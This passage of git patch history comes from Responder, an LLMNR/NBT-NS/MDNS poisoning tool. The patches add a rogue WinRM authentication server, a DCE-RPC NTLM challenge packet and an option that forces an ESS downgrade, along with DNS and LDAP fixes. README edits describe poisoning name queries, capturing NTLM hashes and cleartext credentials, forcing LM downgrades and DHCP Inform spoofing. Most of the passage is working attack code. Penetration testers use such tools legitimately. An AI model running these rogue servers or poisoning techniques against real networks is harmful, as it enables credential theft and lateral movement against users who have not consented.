str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"]) self.fields["Bcc"] = StructWithLenPython2or3("H", self.fields["TowerPortNumberStr"]) + self.fields["TowerIPAddressStr"] = RespondWithIPAton() + + Data= str(self.fields["TowerTotalLen"])+str(self.fields["Tower1Len"])+str(self.fields["Tower1FloorsCount"])+str(self.fields["Tower1ByteCount"])+str(self.fields["Tower1IntUID"])+str(self.fields["Tower1UID"])+str(self.fields["Tower1Version"])+str(self.fields["Tower1VersionMinBC"])+str(self.fields["Tower1VersionMinimum"])+str(self.fields["Tower2ByteCount"])+str(self.fields["Tower2IntUID"])+str(self.fields["Tower2UID"])+str(self.fields["Tower2Version"])+str(self.fields["Tower2VersionMinBC"])+str(self.fields["Tower2VersionMinimum"])+str(self.fields["TowerRpcByteCount"])+str(self.fields["TowerRpctIdentifier"])+str(self.fields["TowerRpcByteCount2"])+str(self.fields["TowerRpcMinimum"])+str(self.fields["TowerPortNumberBC"])+str(self.fields["TowerPortNumberOpcode"])+str(self.fields["TowerPortNumberBC2"])+str(self.fields["TowerPortNumberStr"])+str(self.fields["TowerIPAddressBC"])+str(self.fields["TowerIPAddressOpcode"])+str(self.fields["TowerIPAddressBC2"])+str(self.fields["TowerIPAddressStr"]) + + self.fields["Data"] = Data + +class NTLMChallenge(Packet): + fields = OrderedDict([ + ("NTLMSSPSignature", "NTLMSSP"), + ("NTLMSSPSignatureNull", "\x00"), + ("NTLMSSPMessageType", "\x02\x00\x00\x00"), + ("NTLMSSPNtWorkstationLen", "\x1e\x00"), + ("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"), + ("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"), + ("NTLMSSPNtNegotiateFlags", "\x15\x82\x8a\xe2"), + ("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"), + ("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("NTLMSSPNtTargetInfoLen", "\x94\x00"), + ("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"), + ("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"), + ("NegTokenInitSeqMechMessageVersionHigh", "\x05"), + ("NegTokenInitSeqMechMessageVersionLow", "\x02"), + ("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"), + ("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"), + ("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"), + ("NTLMSSPNtWorkstationName", settings.Config.Domain), + ("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"), + ("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"), + ("NTLMSSPNTLMChallengeAVPairsUnicodeStr", settings.Config.Domain), + ("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"), + ("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"), + ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", settings.Config.MachineName), + ("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"), + ("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"), + ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", settings.Config.MachineName+'.'+settings.Config.DomainName), + ("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"), + ("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"), + ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", settings.Config.DomainName), + ("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"), + ("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"), + ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", settings.Config.DomainName), + ("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"), + ("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"), + ]) + + def calculate(self): + ###### Convert strings to Unicode first + self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le').decode('latin-1') + self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1') + self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1') + self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1') + self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le').decode('latin-1') + self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le').decode('latin-1') + + ###### Workstation Offset + CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) + ###### AvPairs Offset + CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"]) + + ##### Workstation Offset Calculation: + self.fields["NTLMSSPNtWorkstationBuffOffset"] = StructWithLenPython2or3(" Date: Fri, 16 Apr 2021 22:32:51 -0300 Subject: [PATCH 079/219] Update README.md Added Synacktiv as major donor. --- README.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 53ba5ad..ba415d6 100644 --- a/README.md +++ b/README.md @@ -176,9 +176,11 @@ Or BTC address: Late Responder development has been possible because of the donations received from individuals and companies. -We would like to thanks those major donator: +We would like to thanks those major sponsors: -- SecureWorks : https://www.secureworks.com/ +- SecureWorks: https://www.secureworks.com/ + +- Synacktiv: https://www.synacktiv.com/ - Black Hills Information Security: http://www.blackhillsinfosec.com/ From 465f730846c59fa0a3c22deb48e70c0198d4f89e Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 19 Apr 2021 01:32:38 -0300 Subject: [PATCH 080/219] Update README.md --- README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/README.md b/README.md index ba415d6..ee68639 100644 --- a/README.md +++ b/README.md @@ -194,6 +194,12 @@ We would like to thanks those major sponsors: Thank you. +## Official Discord Channel + +Come hang out on Discord! + +[![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/sEkn3aa) + ## Copyright ## NBT-NS/LLMNR Responder From 53d66e3816ecc9e949e8549a17e20d69cddebe11 Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 19 Apr 2021 12:29:36 -0300 Subject: [PATCH 081/219] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ee68639..d89cc20 100644 --- a/README.md +++ b/README.md @@ -10,7 +10,7 @@ Author: Laurent Gaffie https://g-laurent.blogspot.c Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB. -The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. +The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. The option -d is also available if you want to poison Domain Service name queries. ## Features ## From b779d1b49461d4c00cc16d3c37872ac556a2e357 Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 19 Apr 2021 12:38:21 -0300 Subject: [PATCH 082/219] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index d89cc20..f674562 100644 --- a/README.md +++ b/README.md @@ -16,11 +16,11 @@ The concept behind this is to target our answers, and be stealthier on the netwo - Built-in SMB Auth server. -Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2012 RC, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. SMBv2 has also been implemented and is supported by default. +Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. SMBv2 has also been implemented and is supported by default. - Built-in MSSQL Auth server. -In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005 & 2008. +In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019. - Built-in HTTP Auth server. From 35a02e389bfbc755673a2cfb58d289569f286ada Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 19 Apr 2021 12:50:44 -0300 Subject: [PATCH 083/219] Update README.md --- README.md | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index f674562..44a8baa 100644 --- a/README.md +++ b/README.md @@ -24,7 +24,7 @@ In order to redirect SQL Authentication to this tool, you will need to set the o - Built-in HTTP Auth server. -In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 10, Firefox, Chrome, Safari. +In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari. Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim. @@ -34,7 +34,11 @@ Same as above. The folder certs/ contains 2 default keys, including a dummy pri - Built-in LDAP Auth server. -In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin. +In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for LDAP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin. + +- Built-in DCE-RPC Auth server. + +In order to redirect DCE-RPC Authentication to this tool, you will need to set the option -r and -d (NBT-NS queries for DCE-RPC server lookup are sent using the Workstation and Domain Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019. - Built-in FTP, POP3, IMAP, SMTP Auth servers. @@ -42,7 +46,7 @@ This modules will collect clear text credentials. - Built-in DNS server. -This server will answer type A queries. This is really handy when it's combined with ARP spoofing. +This server will answer type SRV and A queries. This is really handy when it's combined with ARP spoofing. - Built-in WPAD Proxy Server. @@ -66,7 +70,7 @@ For MITM on Windows XP/2003 and earlier Domain members. This attack combined wit python tools/DHCP.py -DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL. +DHCP Inform Spoofing. Allows you to let the real DHCP Server issue IP addresses, and then send a DHCP Inform answer to set your IP address as a primary DNS server, and your own WPAD URL. To inject a DNS server, domain, route on all Windows version and any linux box, use -R - Analyze mode. @@ -89,7 +93,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c ## Considerations ## -- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128, Multicast UDP 5355 and 5353. +- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 135, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128, Multicast UDP 5355 and 5353. - If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports. From 85315442bd010dd61fcb62de8d6ca9cc969426ba Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 19 Apr 2021 18:12:27 -0300 Subject: [PATCH 084/219] Added WinRM rogue server --- Responder.conf | 1 + Responder.py | 4 ++ packets.py | 16 ++++- servers/WinRM.py | 180 +++++++++++++++++++++++++++++++++++++++++++++++ settings.py | 3 +- utils.py | 1 + 6 files changed, 203 insertions(+), 2 deletions(-) create mode 100644 servers/WinRM.py diff --git a/Responder.conf b/Responder.conf index 7204f3b..19f9b9d 100644 --- a/Responder.conf +++ b/Responder.conf @@ -14,6 +14,7 @@ HTTPS = On DNS = On LDAP = On DCERPC = On +WINRM = On ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) diff --git a/Responder.py b/Responder.py index 4e9e1c4..2b62977 100755 --- a/Responder.py +++ b/Responder.py @@ -262,6 +262,10 @@ def main(): from servers.HTTP import HTTP threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 80, HTTP,))) + if settings.Config.WinRM_On_Off: + from servers.WinRM import WinRM + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 5985, WinRM,))) + if settings.Config.SSL_On_Off: from servers.HTTP import HTTP threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 443, HTTP,))) diff --git a/packets.py b/packets.py index 903310c..77036bd 100644 --- a/packets.py +++ b/packets.py @@ -317,6 +317,21 @@ class IIS_NTLM_Challenge_Ans(Packet): def calculate(self,payload): self.fields["Payload"] = b64encode(payload) +class WinRM_NTLM_Challenge_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 \r\n"), + ("WWWAuth", "WWW-Authenticate: Negotiate "), + ("Payload", ""), + ("Payload-CRLF", "\r\n"), + ("ServerType", "Server: Microsoft-HTTPAPI/2.0\r\n"), + ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + def calculate(self,payload): + self.fields["Payload"] = b64encode(payload) + class IIS_Basic_401_Ans(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 401 Unauthorized\r\n"), @@ -2128,4 +2143,3 @@ class RPCNTLMNego(Packet): self.fields["FragLen"] = StructWithLenPython2or3(". +import struct +import codecs +from utils import * +if settings.Config.PY2OR3 == "PY3": + from socketserver import BaseRequestHandler, StreamRequestHandler +else: + from SocketServer import BaseRequestHandler, StreamRequestHandler +from base64 import b64decode, b64encode +from packets import NTLM_Challenge +from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer, WinRM_NTLM_Challenge_Ans +from packets import WPADScript, ServeExeFile, ServeHtmlFile + + +# Parse NTLMv1/v2 hash. +def ParseHTTPHash(data, Challenge, client, module): + LMhashLen = struct.unpack(' 24: + NthashLen = 64 + DomainLen = struct.unpack(' Date: Tue, 20 Apr 2021 13:09:00 -0300 Subject: [PATCH 085/219] fixed minor isse --- tools/RunFinger.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 745f2f0..0310d13 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -22,7 +22,7 @@ from odict import OrderedDict import errno import optparse from RunFingerPackets import * -__version__ = "1.2" +__version__ = "1.3" parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) @@ -169,7 +169,10 @@ def dtoa(d): def OsNameClientVersion(data): try: - length = struct.unpack(' 255: OsVersion, ClientVersion = tuple([e.replace("\x00", "") for e in data[47+length:].split('\x00\x00\x00')[:2]]) return OsVersion, ClientVersion From 4231532926863319be94fea49f066626ab0288fe Mon Sep 17 00:00:00 2001 From: lgandx Date: Thu, 6 May 2021 19:56:37 -0300 Subject: [PATCH 086/219] minor fix --- servers/SMB.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/servers/SMB.py b/servers/SMB.py index fe5449b..20d4391 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -219,7 +219,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP self.request.send(NetworkSendBufferPython2or3(buffer1)) data = self.request.recv(1024) - ## Session Setup 1 answer SMBv2. + ## Nego answer SMBv2. if data[16:18] == b"\x00\x00" and data[4:5] == b"\xfe": head = SMB2Header(MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1')) t = SMB2NegoAns(Dialect="\x10\x02") @@ -238,7 +238,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP self.request.send(NetworkSendBufferPython2or3(buffer1)) data = self.request.recv(1024) ## Session Setup 3 answer SMBv2. - if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' and data[4:5] == b'\xfe': + if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe': ParseSMBHash(data, self.client_address[0], Challenge) head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1')) t = SMB2Session2Data() @@ -333,7 +333,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP class SMB1LM(BaseRequestHandler): # SMB Server class, old version def handle(self): try: - self.request.settimeout(0.5) + self.request.settimeout(1) data = self.request.recv(1024) Challenge = RandomChallenge() if data[0] == b"\x81": #session request 139 From ae1c2be51c1054ed2307ba787a78dd69424d4cbc Mon Sep 17 00:00:00 2001 From: lgandx Date: Sun, 9 May 2021 19:02:42 -0300 Subject: [PATCH 087/219] minor fix --- servers/DNS.py | 8 ++++---- servers/LDAP.py | 8 ++++---- servers/RPC.py | 2 +- 3 files changed, 9 insertions(+), 9 deletions(-) diff --git a/servers/DNS.py b/servers/DNS.py index faa7d81..18a3160 100644 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -39,14 +39,14 @@ class DNS(BaseRequestHandler): try: data, soc = self.request - if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode == False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode == False: buff = DNS_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False: buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) @@ -65,14 +65,14 @@ class DNSTCP(BaseRequestHandler): try: data = self.request.recv(1024) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode is False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode is False: buff = DNS_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False: + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False: buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) diff --git a/servers/LDAP.py b/servers/LDAP.py index 8bbd976..d6bea7a 100644 --- a/servers/LDAP.py +++ b/servers/LDAP.py @@ -40,11 +40,11 @@ def CalculateDNSName(name): def ParseCLDAPNetlogon(data): try: Dns = data.find(b'DnsDomain') - if Dns is -1: + if Dns == -1: return False DnsName = data[Dns+9:] DnsGuidOff = data.find(b'DomainGuid') - if DnsGuidOff is -1: + if DnsGuidOff == -1: return False Guid = data[DnsGuidOff+10:] if Dns: @@ -72,13 +72,13 @@ def ParseSearch(data): t.calculate() return str(t) - elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data): + if re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data): return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID)) elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data): return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID)) - if re.search(b'(objectClass)', data): + elif re.search(b'(objectClass)', data): return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID)) def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2 diff --git a/servers/RPC.py b/servers/RPC.py index 5df08fb..5c60c5d 100644 --- a/servers/RPC.py +++ b/servers/RPC.py @@ -47,7 +47,7 @@ def Chose3264x(packet): def FindNTLMOpcode(data): SSPIStart = data.find(b'NTLMSSP') - if SSPIStart is -1: + if SSPIStart == -1: return False SSPIString = data[SSPIStart:] return SSPIString[8:12] From baf80aa4f0e1aaf9ee81ffe6b0b5089d39f42516 Mon Sep 17 00:00:00 2001 From: pixis Date: Fri, 14 May 2021 11:45:18 +0200 Subject: [PATCH 088/219] Add ESS downgrade parameter --- README.md | 1 + Responder.py | 1 + packets.py | 6 +++--- settings.py | 1 + utils.py | 1 + 5 files changed, 7 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 44a8baa..bc14d7c 100644 --- a/README.md +++ b/README.md @@ -163,6 +163,7 @@ Options: with -r. Default: Off --lm Force LM hashing downgrade for Windows XP/2003 and earlier. Default: Off + --disable-ess Force ESS downgrade. Default: Off -v, --verbose Increase verbosity. diff --git a/Responder.py b/Responder.py index 2b62977..302bdf1 100755 --- a/Responder.py +++ b/Responder.py @@ -43,6 +43,7 @@ parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False) parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) +parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") options, args = parser.parse_args() diff --git a/packets.py b/packets.py index 77036bd..4f5acb3 100644 --- a/packets.py +++ b/packets.py @@ -791,7 +791,7 @@ class LDAPNTLMChallenge(Packet): ("NTLMSSPNtWorkstationLen", "\x1e\x00"), ("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"), ("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"), - ("NTLMSSPNtNegotiateFlags", "\x15\x82\x89\xe2"), + ("NTLMSSPNtNegotiateFlags", "\x15\x82\x81\xe2" if settings.Config.NOESS_On_Off else "\x15\x82\x89\xe2"), ("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"), ("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), ("NTLMSSPNtTargetInfoLen", "\x94\x00"), @@ -1331,7 +1331,7 @@ class SMBSession1Data(Packet): ("NTLMSSPNtWorkstationLen","\x1e\x00"), ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"), ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"), - ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"), + ("NTLMSSPNtNegotiateFlags","\x15\x82\x81\xe2" if settings.Config.NOESS_On_Off else "\x15\x82\x89\xe2"), ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"), ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"), ("NTLMSSPNtTargetInfoLen","\x94\x00"), @@ -1651,7 +1651,7 @@ class SMB2Session1Data(Packet): ("NTLMSSPNtWorkstationLen","\x1e\x00"), ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"), ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"), - ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"), + ("NTLMSSPNtNegotiateFlags","\x15\x82\x81\xe2" if settings.Config.NOESS_On_Off else "\x15\x82\x89\xe2"), ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"), ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"), ("NTLMSSPNtTargetInfoLen","\x94\x00"), diff --git a/settings.py b/settings.py index b96f127..3c02527 100644 --- a/settings.py +++ b/settings.py @@ -176,6 +176,7 @@ class Settings: # CLI options self.ExternalIP = options.ExternalIP self.LM_On_Off = options.LM_On_Off + self.NOESS_On_Off = options.NOESS_On_Off self.WPAD_On_Off = options.WPAD_On_Off self.Wredirect = options.Wredirect self.NBTNSDomain = options.NBTNSDomain diff --git a/utils.py b/utils.py index 7a71c83..7045d18 100644 --- a/utils.py +++ b/utils.py @@ -403,6 +403,7 @@ def StartupMessage(): print(' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)) print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)) print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)) + print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True else disabled)) print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)) print('') From 51f8ab43682973df32534ca97c99fb1318a0c77d Mon Sep 17 00:00:00 2001 From: Pixis Date: Sun, 16 May 2021 09:54:21 +0200 Subject: [PATCH 089/219] Add ESS disabling information --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index bc14d7c..9f09906 100644 --- a/README.md +++ b/README.md @@ -16,7 +16,7 @@ The concept behind this is to target our answers, and be stealthier on the netwo - Built-in SMB Auth server. -Supports NTLMv1, NTLMv2 hashes with 